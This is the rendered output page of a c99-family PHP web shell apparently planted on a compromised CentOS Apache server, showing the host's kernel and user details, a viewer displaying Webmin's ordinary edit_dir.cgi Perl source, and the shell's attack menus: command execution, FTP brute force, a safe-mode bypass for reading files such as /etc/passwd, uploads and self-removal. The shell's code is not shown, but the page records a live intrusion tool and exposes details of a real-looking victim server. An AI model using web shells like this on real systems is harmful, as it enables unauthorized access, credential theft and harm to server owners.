!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/htaccess-htpasswd/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_dir.cgi (4.02 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_dir.cgi
# Display information about a protected directory

require './htaccess-lib.pl';
&foreign_require($apachemod, "apache-lib.pl");
&ReadParse();
$can_create || &error($text{'dir_ecannotcreate'});
if ($in{'new'}) {
    &ui_print_header(undef, $text{'dir_title1'}, "");
    }
else {
    &ui_print_header(undef, $text{'dir_title2'}, "");
    @dirs = &list_directories();
    ($dir) = grep { $_->[0] eq $in{'dir'} } @dirs;
    &can_access_dir($dir->[0]) || &error($text{'dir_ecannot'});
    }

print &ui_form_start("save_dir.cgi");
print &ui_hidden("new", $in{'new'});
print &ui_hidden_table_start($text{'dir_header'}, "width=100%", 2, "main", 1, [ "width=30%" ]);

# Directory to protect
if ($in{'new'}) {
    print &ui_table_row($text{'dir_dir'},
        &ui_textbox("dir", $dir->[0], 50)." ".
        &file_chooser_button("dir", 1));
    }
else {
    print &ui_table_row($text{'dir_dir'},
        "<tt>".&html_escape($dir->[0])."</tt>");
    print &ui_hidden("dir", $in{'dir'});
    }

# File containing users
if ($can_htpasswd) {
    # Allow choice of users file
    if ($in{'new'}) {
        $ufile = &ui_radio("auto", 1, [ [ 1, $text{'dir_auto'}."<br>" ],
                        [ 0, $text{'dir_sel'} ] ]);
        }
    $ufile .= &ui_textbox("file", $dir->[1], 50)." ".
          &file_chooser_button("file", 0);
    }
else {
    # Always automatic
    if ($in{'new'}) {
        $ufile = $text{'dir_auto'};
        }
    else {
        $ufile = "<tt>".&html_escape($dir->[1])."</tt>";
        }
    }
print &ui_table_row($text{'dir_file'}, $ufile);

# File containing groups
if ($can_htgroups) {
    @opts = ( [ 2, "$text{'dir_none'}<br>" ] );
    if ($in{'new'}) {
        push(@opts, [ 1, "$text{'dir_auto'}<br>" ]);
        }
    push(@opts, [ 0, $text{'dir_sel'}." ".
                 &ui_textbox("gfile", $dir->[4], 50)." ".
             &file_chooser_button("gfile", 0) ]);
    print &ui_table_row($text{'dir_gfile'},
        &ui_radio("gauto", $dir->[4] ? 0 : 2, \@opts));
    }

# If MD5 encryption is available, show option for it
@crypts = ( 0 );
push(@crypts, 1) if ($config{'md5'});
push(@crypts, 2) if ($config{'sha1'});
push(@crypts, 3) if ($config{'digest'});
if (@crypts > 1) {
    print &ui_table_row($text{'dir_crypt'},
        &ui_radio("crypt", int($dir->[2]),
          [ map { [ $_, $text{'dir_crypt'.$_} ] } @crypts ]));
    }
else {
    print &ui_hidden("crypt", $crypts[0]);
    }

# Authentication realm
if (!$in{'new'}) {
    &switch_user();
    $conf = &foreign_call($apachemod, "get_htaccess_config",
                  "$dir->[0]/$config{'htaccess'}");
    &switch_back();
    $realm = &foreign_call($apachemod, "find_directive",
                   "AuthName", $conf, 1);
    }
print &ui_table_row($text{'dir_realm'},
    &ui_textbox("realm", $realm, 50));

# Users and groups to allow
if (!$in{'new'}) {
    $require = &foreign_call($apachemod, "find_directive_struct",
                 "require", $conf);
    ($rmode, @rwho) = @{$require->{'words'}} if ($require);
    }
else {
    $rmode = "valid-user";
    }
print &ui_table_row($text{'dir_require'},
   &ui_radio("require_mode", $rmode,
    [ [ "valid-user", $text{'dir_requirev'}."<br>" ],
      [ "user", $text{'dir_requireu'}." ".
        &ui_textbox("require_user",
        $rmode eq "user" ? join(" ", @rwho) : "", 40)."<br>" ],
      [ "group", $text{'dir_requireg'}." ".
        &ui_textbox("require_group",
        $rmode eq "group" ? join(" ", @rwho) : "", 40)."<br>" ] ]));

print &ui_hidden_table_end();

# Webmin synchronization mode
if ($can_sync) {
    print &ui_hidden_table_start($text{'dir_header2'}, "width=100%", 2, "sync", 0, [ "width=30%" ]);

    %sync = map { $_, 1 } split(/,/, $dir->[3]);
    foreach $s ('create', 'update', 'delete') {
        print &ui_table_row($text{'dir_sync_'.$s},
            &ui_yesno_radio("sync_$s", $sync{$s} ? 1 : 0));
        }

    print &ui_hidden_table_end();
    }

if ($in{'new'}) {
    print &ui_form_end([ [ undef, $text{'create'} ] ]);
    }
else {
    if (&foreign_available("apache")) {
        %aaccess = &get_module_acl(undef, "apache");
        if ($aaccess{'global'}) {
            @abutton = ( undef, [ 'apache', $text{'dir_apache'} ] );
            }
        }
    print &ui_form_end([ [ undef, $text{'save'} ],
                 [ 'delete', $text{'dir_delete'} ],
                 [ 'remove', $dir->[4] ? $text{'dir_delete2'}
                           : $text{'dir_delete3'} ],
                 @abutton ]);
    }

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]--